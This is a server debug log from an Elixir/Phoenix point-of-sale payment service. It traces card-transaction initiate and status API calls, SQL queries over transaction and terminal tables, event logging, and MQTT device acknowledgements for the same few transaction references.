[Fri Sep  4 05:19:26.484000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1095499778.236272>
[Fri Sep  4 05:19:26.485000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="users" db=0.8ms idle=337.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:19:26.488000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK source="custom_events" db=2.7ms idle=337.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:19:26.489000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch277786391682"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788499166,
  device_id: "98251226730002",
  amount: 122
}

[Fri Sep  4 05:19:26.489000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788499166,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch277786391682",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:19:26.489606Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 05:19:26.489000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:42960] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499166, device_id: "98251226730002", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch277786391682", transaction_id: nil, date_added: ~U[2026-09-04 05:19:26.489606Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 05:19:26.587000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42960] QUERY OK db=97.0ms idle=240.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788499166, device_id: "98251226730002", amount: 122}, "Response From Publish Txn", "ch277786391682", ~U[2026-09-04 05:19:26Z], 38, "response_from_publish_txn", ~N[2026-09-04 05:19:26], ~N[2026-09-04 05:19:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:19:26.587000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:42960] Successfully created custom event log with ID: 40251
[Fri Sep  4 05:19:26.587000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42960] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1095499778.236272>
[Fri Sep  4 05:19:26.587000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42960] Sent 200 in 441ms
[Fri Sep  4 05:19:32.574000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53046] POST /api/device/status
[Fri Sep  4 05:19:32.575000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53046] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:32.576000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53046] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:32.576000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53046] Transaction reference number: "ch277786391682"
[Fri Sep  4 05:19:32.590000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53046] QUERY OK source="pos_transaction" db=13.9ms idle=1001.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:32.592000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53046] QUERY OK source="pos_temp_transaction" db=0.9ms idle=1015.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:19:32.595000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53046] QUERY OK source="pos_failed_transaction" db=2.6ms queue=0.1ms idle=1016.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:19:32.596000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53046] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1019.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:19:32.596000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53046] Sent 200 in 22ms
[Fri Sep  4 05:19:37.255000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59246] POST /api/device/status
[Fri Sep  4 05:19:37.255000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59246] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:37.255000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59246] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:37.255000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59246] Transaction reference number: "ch277786391682"
[Fri Sep  4 05:19:37.269000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59246] QUERY OK source="pos_transaction" db=12.6ms queue=0.3ms idle=1681.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:37.270000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59246] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1116.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:19:37.273000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59246] QUERY OK source="pos_failed_transaction" db=2.6ms queue=0.1ms idle=695.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:19:37.274000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59246] QUERY OK source="cloud_transaction" db=0.6ms idle=698.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:19:37.274000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59246] Sent 200 in 19ms
[Fri Sep  4 05:19:42.232000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59256] POST /api/device/status
[Fri Sep  4 05:19:42.232000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59256] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:42.233000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59256] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch277786391682", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:42.233000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59256] Transaction reference number: "ch277786391682"
[Fri Sep  4 05:19:42.246000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59256] QUERY OK source="pos_transaction" db=13.1ms idle=1657.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:42.249000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59256] QUERY OK source="pos_terminals" db=2.0ms idle=1671.6ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Fri Sep  4 05:19:42.251000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59256] QUERY OK source="brands" db=1.3ms idle=1674.1ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Fri Sep  4 05:19:42.252000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59256] QUERY OK source="user_metadata" db=1.3ms queue=0.1ms idle=479.4ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Fri Sep  4 05:19:42.254000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59256] QUERY OK source="cloud_transaction" db=0.9ms queue=0.1ms idle=1677.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch277786391682"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Fri Sep  4 05:19:42.254000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59256] Sent 200 in 22ms
[Fri Sep  4 05:20:05.441000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:20:05.806000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch277786391682","money": "12200.0", "status": "SUCCESS" }
[Fri Sep  4 05:20:05.807000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch277786391682: %{"money" => "12200.0", "request_id" => "ch277786391682", "status" => "SUCCESS"}
[Fri Sep  4 05:20:05.807000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch277786391682 is success
[Fri Sep  4 05:20:05.811000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.5ms idle=1232.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch277786391682", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 05:20:05.926000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:20:08.781000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=2969.8ms queue=0.1ms idle=1235.9ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-04 05:20:05], 4967]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Fri Sep  4 05:20:08.781000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch277786391682 updated to success/received
[Fri Sep  4 05:21:18.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56384] POST /api/device/initiate
[Fri Sep  4 05:21:18.458000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:56384] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "152", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch265158791040", "externalRefNumber2" => "4626134427", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:21:18.459000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56384] Processing card transaction for reference: ch265158791040
[Fri Sep  4 05:21:18.462000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="users" db=3.1ms idle=1869.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:21:18.464000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56384] QUERY OK source="custom_events" db=0.8ms queue=0.7ms idle=1872.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:21:18.464000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch265158791040"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 152,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch265158791040",
  external_ref_number_2: "4626134427",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Fri Sep  4 05:21:18.464000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56384] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 152,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch265158791040",
    external_ref_number_2: "4626134427",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch265158791040",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:21:18.464728Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 05:21:18.465000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56384] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 152, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch265158791040", external_ref_number_2: "4626134427", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch265158791040", transaction_id: nil, date_added: ~U[2026-09-04 05:21:18.464728Z], event_id: 35, event_value: "initiate_card_txn_request"}
